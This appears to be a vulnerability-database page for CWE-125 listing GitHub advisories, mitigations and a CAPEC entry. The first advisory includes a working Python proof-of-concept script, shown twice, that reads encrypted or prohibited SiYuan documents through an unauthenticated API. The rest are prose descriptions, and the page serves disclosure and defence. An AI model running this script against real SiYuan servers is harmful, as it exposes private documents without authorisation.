CWE-125
AllowedOut-of-bounds Read
Abstraction: Base · Status: Draft
The product reads data past the end, or before the beginning, of the intended buffer.
11347 vulnerabilities reference this CWE, most recent first.
GHSA-34XJ-66V3-6J83
Vulnerability from github – Published: 2026-03-25 19:36 – Updated: 2026-03-27 21:20Details
Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.
PoC
#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys
def get_child_blocks(target_url, doc_id):
"""
调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
"""
url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"
headers = {
"Content-Type": "application/json"
}
data = {
"id": doc_id
}
try:
response = requests.post(url, json=data, headers=headers, timeout=10)
response.raise_for_status()
result = response.json()
if result.get("code") != 0:
print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
return None
return result.get("data")
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求失败: {e}")
return None
except json.JSONDecodeError as e:
print(f"[-] JSON解析失败: {e}")
return None
def format_block_content(block):
"""格式化块内容"""
content = ""
# 获取块内容
if isinstance(block, dict):
# 尝试多种可能的字段
md = block.get("markdown", "") or block.get("content", "") or ""
if md:
content = md.strip()
return content
def main():
"""主函数"""
if len(sys.argv) > 1:
target_url = sys.argv[1]
else:
target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
if not target_url:
target_url = "http://localhost:6806"
print(f"目标地址: {target_url}")
print("=" * 50)
while True:
print("\n" + "=" * 50)
doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()
if doc_id.lower() in ['quit', 'exit', 'q']:
print("程序退出")
break
if not doc_id:
print("[-] 文档ID不能为空")
continue
print(f"\n[*] 正在读取文档: {doc_id}")
blocks = get_child_blocks(target_url, doc_id)
if blocks is None:
print("[-] 获取文档内容失败")
continue
if not blocks:
print(f"[!] 文档 {doc_id} 没有子块或为空")
continue
print(f"[+] 成功获取 {len(blocks)} 个子块")
print("-" * 50)
# 保存所有块内容
all_blocks_content = []
for i, block in enumerate(blocks, 1):
content = format_block_content(block)
if content:
print(content[:200] + ("..." if len(content) > 200 else ""))
all_blocks_content.append({
"index": i,
"content": content,
"raw_block": block
})
# 询问是否保存到文件
save_choice = input("\n是否保存到文件? (y/N): ").strip().lower()
if save_choice in ['y', 'yes']:
filename = f"doc_{doc_id}_blocks.json"
try:
with open(filename, "w", encoding="utf-8") as f:
json.dump({
"doc_id": doc_id,
"block_count": len(blocks),
"blocks": all_blocks_content
}, f, ensure_ascii=False, indent=2)
print(f"[+] 已保存到: {filename}")
except Exception as e:
print(f"[-] 保存失败: {e}")
print("-" * 50)
if __name__ == "__main__":
main()
Impact
File reading: All encrypted or prohibited documents under the publishing service could be read.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260317012524-fe4523fff2c8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33669"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:36:22Z",
"nvd_published_at": "2026-03-26T22:16:29Z",
"severity": "CRITICAL"
},
"details": "### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks \u6587\u6863\u5185\u5bb9\u8bfb\u53d6\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n \"\"\"\n \u8c03\u7528 SiYuan \u7684 /api/block/getChildBlocks API \u83b7\u53d6\u6587\u6863\u5185\u5bb9\n \"\"\"\n url = f\"{target_url.rstrip(\u0027/\u0027)}/api/block/getChildBlocks\"\n \n headers = {\n \"Content-Type\": \"application/json\"\n }\n \n data = {\n \"id\": doc_id\n }\n \n try:\n response = requests.post(url, json=data, headers=headers, timeout=10)\n response.raise_for_status()\n \n result = response.json()\n \n if result.get(\"code\") != 0:\n print(f\"[-] \u8bf7\u6c42\u5931\u8d25: {result.get(\u0027msg\u0027, \u0027\u672a\u77e5\u9519\u8bef\u0027)}\")\n return None\n \n return result.get(\"data\")\n \n except requests.exceptions.RequestException as e:\n print(f\"[-] \u7f51\u7edc\u8bf7\u6c42\u5931\u8d25: {e}\")\n return None\n except json.JSONDecodeError as e:\n print(f\"[-] JSON\u89e3\u6790\u5931\u8d25: {e}\")\n return None\n\ndef format_block_content(block):\n \"\"\"\u683c\u5f0f\u5316\u5757\u5185\u5bb9\"\"\"\n content = \"\"\n \n # \u83b7\u53d6\u5757\u5185\u5bb9\n if isinstance(block, dict):\n # \u5c1d\u8bd5\u591a\u79cd\u53ef\u80fd\u7684\u5b57\u6bb5\n md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n if md:\n content = md.strip()\n \n return content\n\ndef main():\n \"\"\"\u4e3b\u51fd\u6570\"\"\"\n if len(sys.argv) \u003e 1:\n target_url = sys.argv[1]\n else:\n target_url = input(\"\u8bf7\u8f93\u5165 SiYuan \u670d\u52a1\u5730\u5740 (\u4f8b\u5982: http://localhost:6806): \").strip()\n if not target_url:\n target_url = \"http://localhost:6806\"\n \n print(f\"\u76ee\u6807\u5730\u5740: {target_url}\")\n print(\"=\" * 50)\n \n while True:\n print(\"\\n\" + \"=\" * 50)\n doc_id = input(\"\u8bf7\u8f93\u5165\u6587\u6863ID (\u8f93\u5165 \u0027quit\u0027 \u6216 \u0027exit\u0027 \u9000\u51fa): \").strip()\n \n if doc_id.lower() in [\u0027quit\u0027, \u0027exit\u0027, \u0027q\u0027]:\n print(\"\u7a0b\u5e8f\u9000\u51fa\")\n break\n \n if not doc_id:\n print(\"[-] \u6587\u6863ID\u4e0d\u80fd\u4e3a\u7a7a\")\n continue\n \n print(f\"\\n[*] \u6b63\u5728\u8bfb\u53d6\u6587\u6863: {doc_id}\")\n \n blocks = get_child_blocks(target_url, doc_id)\n \n if blocks is None:\n print(\"[-] \u83b7\u53d6\u6587\u6863\u5185\u5bb9\u5931\u8d25\")\n continue\n \n if not blocks:\n print(f\"[!] \u6587\u6863 {doc_id} \u6ca1\u6709\u5b50\u5757\u6216\u4e3a\u7a7a\")\n continue\n \n print(f\"[+] \u6210\u529f\u83b7\u53d6 {len(blocks)} \u4e2a\u5b50\u5757\")\n print(\"-\" * 50)\n \n # \u4fdd\u5b58\u6240\u6709\u5757\u5185\u5bb9\n all_blocks_content = []\n \n for i, block in enumerate(blocks, 1):\n content = format_block_content(block)\n if content:\n print(content[:200] + (\"...\" if len(content) \u003e 200 else \"\"))\n \n all_blocks_content.append({\n \"index\": i,\n \"content\": content,\n \"raw_block\": block\n })\n \n # \u8be2\u95ee\u662f\u5426\u4fdd\u5b58\u5230\u6587\u4ef6\n save_choice = input(\"\\n\u662f\u5426\u4fdd\u5b58\u5230\u6587\u4ef6? (y/N): \").strip().lower()\n if save_choice in [\u0027y\u0027, \u0027yes\u0027]:\n filename = f\"doc_{doc_id}_blocks.json\"\n try:\n with open(filename, \"w\", encoding=\"utf-8\") as f:\n json.dump({\n \"doc_id\": doc_id,\n \"block_count\": len(blocks),\n \"blocks\": all_blocks_content\n }, f, ensure_ascii=False, indent=2)\n print(f\"[+] \u5df2\u4fdd\u5b58\u5230: {filename}\")\n except Exception as e:\n print(f\"[-] \u4fdd\u5b58\u5931\u8d25: {e}\")\n \n print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n main()\n```\n\n\u003cimg width=\"1492\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\" /\u003e\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.",
"id": "GHSA-34xj-66v3-6j83",
"modified": "2026-03-27T21:20:41Z",
"published": "2026-03-25T19:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33669"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has Arbitrary Document Reading within the Publishing Service"
}
GHSA-3542-5G2C-WPGM
Vulnerability from github – Published: 2022-05-17 00:19 – Updated: 2022-05-17 00:19There is an illegal address access in the _lou_getALine function in compileTranslationTable.c:346 in Liblouis 3.2.0.
{
"affected": [],
"aliases": [
"CVE-2017-13738"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-29T06:29:00Z",
"severity": "HIGH"
},
"details": "There is an illegal address access in the _lou_getALine function in compileTranslationTable.c:346 in Liblouis 3.2.0.",
"id": "GHSA-3542-5g2c-wpgm",
"modified": "2022-05-17T00:19:04Z",
"published": "2022-05-17T00:19:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13738"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3111"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1484297"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100607"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-354M-Q546-G336
Vulnerability from github – Published: 2023-06-23 18:30 – Updated: 2024-04-04 05:07The issue was addressed with improved checks. This issue is fixed in iOS 16.5 and iPadOS 16.5, macOS Ventura 13.4, watchOS 9.5. Photos belonging to the Hidden Photos Album could be viewed without authentication through Visual Lookup
{
"affected": [],
"aliases": [
"CVE-2023-32390"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-23T18:15:12Z",
"severity": "LOW"
},
"details": "The issue was addressed with improved checks. This issue is fixed in iOS 16.5 and iPadOS 16.5, macOS Ventura 13.4, watchOS 9.5. Photos belonging to the Hidden Photos Album could be viewed without authentication through Visual Lookup",
"id": "GHSA-354m-q546-g336",
"modified": "2024-04-04T05:07:51Z",
"published": "2023-06-23T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32390"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213757"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213758"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213764"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213761"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-355H-Q75C-4JJ6
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2022-05-24 16:59Adobe Acrobat and Reader versions , 2019.012.20040 and earlier, 2017.011.30148 and earlier, 2017.011.30148 and earlier, 2015.006.30503 and earlier, and 2015.006.30503 and earlier have an out-of-bounds read vulnerability. Successful exploitation could lead to information disclosure .
{
"affected": [],
"aliases": [
"CVE-2019-8222"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-17T21:15:00Z",
"severity": "HIGH"
},
"details": "Adobe Acrobat and Reader versions , 2019.012.20040 and earlier, 2017.011.30148 and earlier, 2017.011.30148 and earlier, 2015.006.30503 and earlier, and 2015.006.30503 and earlier have an out-of-bounds read vulnerability. Successful exploitation could lead to information disclosure .",
"id": "GHSA-355h-q75c-4jj6",
"modified": "2022-05-24T16:59:26Z",
"published": "2022-05-24T16:59:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8222"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb19-49.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-355X-F7FP-PFW3
Vulnerability from github – Published: 2022-01-14 00:01 – Updated: 2022-01-16 00:00Adobe InCopy version 16.4 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
{
"affected": [],
"aliases": [
"CVE-2021-45055"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-13T21:15:00Z",
"severity": "HIGH"
},
"details": "Adobe InCopy version 16.4 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-355x-f7fp-pfw3",
"modified": "2022-01-16T00:00:59Z",
"published": "2022-01-14T00:01:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45055"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/incopy/apsb22-04.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3585-3W46-J654
Vulnerability from github – Published: 2022-05-14 03:04 – Updated: 2025-04-20 03:39The snd_msndmidi_input_read function in sound/isa/msnd/msnd_midi.c in the Linux kernel through 4.11.7 allows local users to cause a denial of service (over-boundary access) or possibly have unspecified other impact by changing the value of a message queue head pointer between two kernel reads of that value, aka a "double fetch" vulnerability.
{
"affected": [],
"aliases": [
"CVE-2017-9985"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-28T06:29:00Z",
"severity": "HIGH"
},
"details": "The snd_msndmidi_input_read function in sound/isa/msnd/msnd_midi.c in the Linux kernel through 4.11.7 allows local users to cause a denial of service (over-boundary access) or possibly have unspecified other impact by changing the value of a message queue head pointer between two kernel reads of that value, aka a \"double fetch\" vulnerability.",
"id": "GHSA-3585-3w46-j654",
"modified": "2025-04-20T03:39:36Z",
"published": "2022-05-14T03:04:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9985"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/20e2b791796bd68816fa115f12be5320de2b8021"
},
{
"type": "WEB",
"url": "https://bugzilla.kernel.org/show_bug.cgi?id=196133"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3754-1"
},
{
"type": "WEB",
"url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=20e2b791796bd68816fa115f12be5320de2b8021"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99335"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-359G-PJXC-2JRM
Vulnerability from github – Published: 2022-07-16 00:00 – Updated: 2022-07-16 00:00Adobe Acrobat Reader versions 22.001.20142 (and earlier), 20.005.30334 (and earlier) and 17.012.30229 (and earlier) are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
{
"affected": [],
"aliases": [
"CVE-2022-34226"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-15T16:15:00Z",
"severity": "HIGH"
},
"details": "Adobe Acrobat Reader versions 22.001.20142 (and earlier), 20.005.30334 (and earlier) and 17.012.30229 (and earlier) are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-359g-pjxc-2jrm",
"modified": "2022-07-16T00:00:29Z",
"published": "2022-07-16T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34226"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb22-32.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35C4-9R57-7GQJ
Vulnerability from github – Published: 2023-11-17 18:30 – Updated: 2023-11-25 03:30Liblisp through commit 4c65969 was discovered to contain a out-of-bounds-read vulnerability in unsigned get_length(lisp_cell_t * x) at eval.c
{
"affected": [],
"aliases": [
"CVE-2023-48025"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-17T17:15:07Z",
"severity": "HIGH"
},
"details": "Liblisp through commit 4c65969 was discovered to contain a out-of-bounds-read vulnerability in unsigned get_length(lisp_cell_t * x) at eval.c",
"id": "GHSA-35c4-9r57-7gqj",
"modified": "2023-11-25T03:30:32Z",
"published": "2023-11-17T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48025"
},
{
"type": "WEB",
"url": "https://github.com/howerj/liblisp/issues/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35C5-GV44-R3Q7
Vulnerability from github – Published: 2022-05-24 17:08 – Updated: 2022-05-24 17:08Adobe Acrobat and Reader versions 2019.021.20061 and earlier, 2017.011.30156 and earlier, 2017.011.30156 and earlier, and 2015.006.30508 and earlier have an out-of-bounds read vulnerability. Successful exploitation could lead to information disclosure .
{
"affected": [],
"aliases": [
"CVE-2020-3747"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "Adobe Acrobat and Reader versions 2019.021.20061 and earlier, 2017.011.30156 and earlier, 2017.011.30156 and earlier, and 2015.006.30508 and earlier have an out-of-bounds read vulnerability. Successful exploitation could lead to information disclosure .",
"id": "GHSA-35c5-gv44-r3q7",
"modified": "2022-05-24T17:08:58Z",
"published": "2022-05-24T17:08:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3747"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb20-05.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-35CF-PG5X-4F5C
Vulnerability from github – Published: 2023-06-29 18:30 – Updated: 2024-04-04 05:18A possible out-of-bounds read and write (due to an improper length check of shared memory) was discovered in Arm NN Android-NN-Driver before 23.02.
{
"affected": [],
"aliases": [
"CVE-2023-26085"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-29T17:15:09Z",
"severity": "HIGH"
},
"details": "A possible out-of-bounds read and write (due to an improper length check of shared memory) was discovered in Arm NN Android-NN-Driver before 23.02.",
"id": "GHSA-35cf-pg5x-4f5c",
"modified": "2024-04-04T05:18:03Z",
"published": "2023-06-29T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26085"
},
{
"type": "WEB",
"url": "https://developer.arm.com/Arm%20Security%20Center"
},
{
"type": "WEB",
"url": "https://github.com/ARM-software/android-nn-driver/releases/tag/v23.02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
Mitigation
Strategy: Language Selection
Use a language that provides appropriate memory abstractions.
CAPEC-540: Overread Buffers
An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.